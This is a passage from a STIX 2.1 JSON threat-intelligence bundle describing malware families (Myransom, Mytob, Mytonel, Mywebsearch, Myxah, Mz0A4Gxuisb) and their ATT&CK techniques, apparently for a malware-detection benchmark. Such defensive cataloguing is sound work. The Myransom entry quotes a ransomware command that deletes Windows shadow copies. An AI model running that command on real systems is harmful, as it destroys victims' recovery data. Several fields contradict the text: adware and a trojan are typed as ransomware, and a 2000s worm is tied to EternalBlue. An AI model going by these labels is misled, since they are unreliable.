      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mypcbackup exhibits technique T1566.002 (Phishing: Spearphishing Link (Deceptive Pop-ups and Fake Scans))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd0d3081-e9ec-540a-9750-16e6a5d5e8a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf4dbb9a-354d-57cd-ab7b-a87f873e4c47",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mypcbackup exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfdf6486-611f-5042-843e-9be50dcaaf19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf4dbb9a-354d-57cd-ab7b-a87f873e4c47",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mypcbackup exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8aadd5f2-b483-507e-a23b-52105b498d88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Myransom",
      "description": "Ransomware:Win32/Myransom is a generic detection applied to a variety of simpler, often commercially available or 'script-kiddie' level crypto-ransomware variants. While it may not possess the advanced network propagation or EDR evasion techniques of apex predators like Ryuk or Conti, it is still highly effective at its core objective: encrypting the victim's data and demanding payment.<br><br><b>Understanding Myransom (Commodity Ransomware)</b><br>To an end-user, a Myransom infection results in the immediate loss of access to their personal or business files. Documents, photos, and databases are encrypted (`T1486`), their extensions are changed, and a ransom note (usually a `.txt` or `.html` file) is dropped on the desktop demanding Bitcoin. For an incident response team, this detection indicates a failure of initial defenses (phishing filters or RDP security).<br><br><b>Execution and Encryption Mechanics</b><br>Myransom variants are typically delivered via mass phishing campaigns (`T1566.001`), exploit kits, or by attackers brute-forcing exposed Remote Desktop Protocol (RDP) servers (`T1133`). Upon execution (`T1204.002`), the ransomware quickly iterates through local drives and mapped network shares (`T1083`). It utilizes standard cryptography APIs (like Microsoft CryptoAPI) to encrypt files. To ensure the victim cannot easily recover, it almost always executes a command to delete the Windows Volume Shadow Copies (`vssadmin.exe Delete Shadows /All /Quiet`) (`T1490`). It communicates with its C2 server to transmit the generated encryption key.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is significant data loss and operational downtime. Host-based IoCs include the rapid modification of files, the presence of ransom notes in every affected directory, and the execution of `vssadmin.exe` or `wbadmin.exe`. Network IoCs may include HTTP POST requests to suspicious domains transmitting the victim's machine ID and encryption keys. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Myransom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/myransom"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ad76622-0c89-5f1a-9f07-ae4b95bda6a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8aadd5f2-b483-507e-a23b-52105b498d88",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Myransom exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3ae1555-7df3-539a-962b-6b9c98f7740b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8aadd5f2-b483-507e-a23b-52105b498d88",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Myransom exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70869915-db24-5a47-83f5-455d56d48fb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8aadd5f2-b483-507e-a23b-52105b498d88",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Myransom exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--079d8a52-686a-5cea-bf84-0a02b5fd8eed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8aadd5f2-b483-507e-a23b-52105b498d88",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Myransom exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--16beb729-0226-5337-a462-130ba58a2208",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mytob",
      "description": "<h3>Executive Summary</h3>\nMytob is a highly prolific and historically significant mass-mailing worm and botnet agent that first emerged in the mid-2000s. Based largely on the source code of the notorious MyDoom worm, Mytob combined rapid email-based propagation with backdoor functionality, creating massive botnets that severely disrupted global email infrastructure and corporate networks.\n\n<h3>Propagation and Technical Mechanisms</h3>\nMytob was engineered for aggressive self-replication, utilizing multiple vectors to compromise vulnerable Windows systems.\n\nIts core operational features included:\n<ul>\n<li><strong>Mass-Mailing:</strong> Upon infecting a machine, Mytob harvested email addresses from the local address book, cached web pages, and documents. It then utilized its own built-in SMTP engine to mass-email copies of itself to those addresses, spoofing the \"From\" field to appear legitimate.</li>\n<li><strong>Vulnerability Exploitation:</strong> Many Mytob variants also propagated across local networks by exploiting unpatched Windows vulnerabilities (such as the LSASS vulnerability MS04-011) to execute arbitrary code on remote machines.</li>\n<li><strong>Backdoor/Botnet Capability:</strong> Infected machines were joined to a botnet. Mytob opened a backdoor (often on IRC ports or high TCP ports) allowing remote attackers to issue commands, download additional malware, or utilize the host for distributed denial-of-service (DDoS) attacks.</li>\n<li><strong>Security Disruption:</strong> To ensure survival, Mytob actively attempted to terminate processes associated with antivirus software and block access to security vendor websites by modifying the local Windows `HOSTS` file.</li>\n</ul>\n\n<h3>Historical Impact</h3>\nAt its peak, Mytob was responsible for a massive percentage of global malicious email traffic. The sheer volume of emails generated by the worm caused severe degradation of corporate mail servers and immense bandwidth consumption, resulting in millions of dollars in lost productivity.\n\n<h3>Modern Defense and Eradication</h3>\n<ul>\n<li><strong>Patch Management:</strong> Mytob heavily relied on exploiting legacy Windows vulnerabilities. Maintaining a rigorous, automated patch management schedule for all operating systems and software is critical to preventing network-based worm propagation.</li>\n<li><strong>Email Filtering:</strong> Implement robust, edge-based email security gateways to filter out executable attachments (`.exe`, `.scr`, `.pif`, `.zip` containing executables) before they reach user inboxes.</li>\n<li><strong>Network Segmentation:</strong> Ensure that internal networks are properly segmented to prevent the rapid lateral spread of worms utilizing SMB or RPC exploits.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm.Mytob",
        "Win32/Mytob",
        "Email-Worm.Win32.Mytob"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mytob",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mytob"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e4fbc91-4c55-520a-90fe-5116f9aa3f76",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16beb729-0226-5337-a462-130ba58a2208",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mytob exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--053aae21-4b2a-5bcf-a0d0-44ae6bb8474d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16beb729-0226-5337-a462-130ba58a2208",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mytob exhibits technique T1210 (Exploitation of Remote Services (Using EternalBlue to spread laterally))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86563053-6eed-5139-9a5d-c95f52acf09e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16beb729-0226-5337-a462-130ba58a2208",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mytob exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1100e535-f457-5530-8095-fba02ed859d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16beb729-0226-5337-a462-130ba58a2208",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mytob exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--557fd13e-f904-5614-8f9e-503382eca52b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16beb729-0226-5337-a462-130ba58a2208",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mytob exhibits technique T1498 (Network Denial of Service (Coordinated DDoS attacks))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0e2e5136-61a8-51f2-82ff-f77a6951cbfc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mytonel",
      "description": "<h3>Executive Summary</h3>\nMytonel is a classification for a category of Adware and Potentially Unwanted Programs (PUPs). Its primary objective is unauthorized monetization through the aggressive tracking of user web behavior and the injection of intrusive, highly targeted advertisements (such as pop-ups, pop-unders, and embedded banners) into the victim's web browser, severely degrading system performance and privacy.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMytonel adware is almost exclusively distributed via software bundling (pay-per-install networks). Users typically install this threat inadvertently when downloading \"free\" utilities (like media players or PDF converters) from third-party download portals, failing to uncheck pre-selected boxes during the installation wizard.\n\nUpon execution, the software focuses on data collection and ad injection:\n<ul>\n<li><strong>Browser Integration:</strong> The adware installs persistent Browser Helper Objects (BHOs) or malicious extensions into major web browsers (Chrome, Firefox, Edge). It may also alter the browser's default homepage and search engine to route traffic through affiliate marketing portals.</li>\n<li><strong>Ad Injection and Overlay:</strong> Mytonel significantly degrades the user experience by injecting its own advertisements into legitimate websites. It often overlays legitimate ads with its own, spawns new browser windows, or highlights random text on a page to create hyperlinked ads leading to dubious products or services.</li>\n<li><strong>Data Tracking:</strong> To serve targeted ads, the adware tracks the user's browsing history, search queries, and geographical location, transmitting this telemetry to third-party marketing servers without clear consent.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Mytonel is not typically designed to destroy data like ransomware or steal banking credentials like an Info-stealer, it poses a severe privacy risk and significantly degrades system performance (causing browser crashes and high CPU usage). Furthermore, the aggressive ad networks utilized by these programs frequently serve \"malvertising,\" exposing the user to severe secondary infections.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Application Removal:</strong> The first step is to identify and uninstall the core adware application via the Windows Control Panel, looking for recently installed, suspicious \"free\" utilities or toolbars often bearing names related to \"Media,\" \"Search,\" or \"Deals.\"</li>\n<li><strong>Browser Reset:</strong> Because Mytonel deeply alters browser configurations, the most effective remediation is a complete reset of all installed web browsers to their factory default settings, which automatically clears malicious extensions, BHOs, and tracking cookies.</li>\n<li><strong>Anti-Malware Sweep:</strong> Run a comprehensive scan using a reputable anti-malware solution specifically tuned to detect and remove Potentially Unwanted Programs (PUPs) and lingering registry keys left behind by the adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Mytonel",
        "PUP.Mytonel",
        "Win32/Adware.Mytonel"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mytonel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mytonel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f786712-519e-5402-a60f-ce99e5691ddf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e2e5136-61a8-51f2-82ff-f77a6951cbfc",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mytonel exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--466f00e5-a2d6-55e5-a375-fabda151259b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e2e5136-61a8-51f2-82ff-f77a6951cbfc",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mytonel exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--878a8766-2c0a-5715-b342-98420f1815a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e2e5136-61a8-51f2-82ff-f77a6951cbfc",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mytonel exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0fccb1b8-f2a0-580b-8ed9-527b66c295bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mywebsearch",
      "description": "MyWebSearch (cataloged across security software as Adware:Win32/MyWebSearch, Adware.MyWebSearch, and MyWebSearch Toolbar) is one of the most widely distributed adware and browser hijacking toolbars of the 2000s, developed by Mindspark Interactive Network (formerly Fun Web Products / IAC). Extensively distributed through software bundles alongside novelty applications (including Smiley Central, Cursor Mania, Webfetti, and PopSwatter), MyWebSearch installs Browser Helper Objects (BHOs) and browser extensions into Internet Explorer and Mozilla Firefox without transparent disclosure. Once active, the adware modifies default search engine configurations, intercepts search queries to display monetized sponsored results, injects advertising banners and pop-up windows, and tracks user browsing behavior to serve targeted advertisements. Its intrusive registry persistence and browser hooks frequently cause browser instability, significant performance degradation, and privacy exposure. (Observed samples in benchmark: 223)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/MyWebSearch",
        "Adware.MyWebSearch",
        "MyWebSearch Toolbar",
        "Fun Web Products Toolbar",
        "Win32/MyWebSearch"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mywebsearch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mywebsearch"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f5e6dfc-56ed-5e01-bbe0-2060f0822ee9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fccb1b8-f2a0-580b-8ed9-527b66c295bc",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mywebsearch exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5651b7fd-f437-595e-a0ba-59d4c57119ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fccb1b8-f2a0-580b-8ed9-527b66c295bc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mywebsearch exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d5ab39c-d54e-56fc-ac13-ebddf0c49d61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fccb1b8-f2a0-580b-8ed9-527b66c295bc",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mywebsearch exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8436610-69e2-5dd8-923f-3e3e2799bae3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fccb1b8-f2a0-580b-8ed9-527b66c295bc",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mywebsearch exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7dbcd4b5-9be4-5191-9dc5-deadb5ba76ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fccb1b8-f2a0-580b-8ed9-527b66c295bc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mywebsearch exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5f43c2ad-ea0d-593e-aec7-6c24a4c385f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Myxah",
      "description": "Trojan:Win32/Myxah is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Myxah</b><br>To an end-user, a Myxah infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Myxah is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Myxah is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Myxah frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Myxah reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Myxah",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/myxah"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bcfebdd5-d552-55e5-8006-dcd41b5bc94c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f43c2ad-ea0d-593e-aec7-6c24a4c385f9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Myxah exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c723945c-ebe6-5e72-b8ee-e1ebe2c4fd0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f43c2ad-ea0d-593e-aec7-6c24a4c385f9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Myxah exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c7892a7-e0c6-56a3-82c7-bcbfde1927d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f43c2ad-ea0d-593e-aec7-6c24a4c385f9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Myxah exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--201825bc-19b6-56ac-a7f9-b3f3723721ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f43c2ad-ea0d-593e-aec7-6c24a4c385f9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Myxah exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9a6b6fe-4793-52e9-b18b-dc22dc5dcdc6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f43c2ad-ea0d-593e-aec7-6c24a4c385f9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Myxah exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--338b771b-2f50-5d12-a507-dff491c41709",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mz0A4Gxuisb",
      "description": "<h3>Executive Summary</h3>\n\"Mz0a4gxuisb\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The random, DGA-like (Domain Generation Algorithm) naming convention strongly suggests that this malware was generated dynamically by an automated exploit kit or malware builder to evade static antivirus signatures through constant polymorphic mutation.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these randomized naming conventions is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker (like Emotet or Trickbot).\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized (using tools like VMProtect or custom packers). This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Dynamic Infrastructure:</strong> The malware often relies on a Domain Generation Algorithm (DGA) to rapidly cycle through thousands of potential command-and-control (C2) domains, making IP/Domain blacklisting at the firewall ineffective.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, randomly named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior (e.g., an unknown executable attempting to inject code into `svchost.exe`).</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed (such as rootkit-like persistence), attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Mz0a4gxuisb",
        "Malware.Obfuscated.DGA",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mz0A4Gxuisb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mz0a4gxuisb"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9cbe1ca-9e3b-59e4-ab21-c85ea6a65615",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--338b771b-2f50-5d12-a507-dff491c41709",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mz0A4Gxuisb exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2c68fd2-8326-5172-ac1f-cd53cf822bea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--338b771b-2f50-5d12-a507-dff491c41709",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
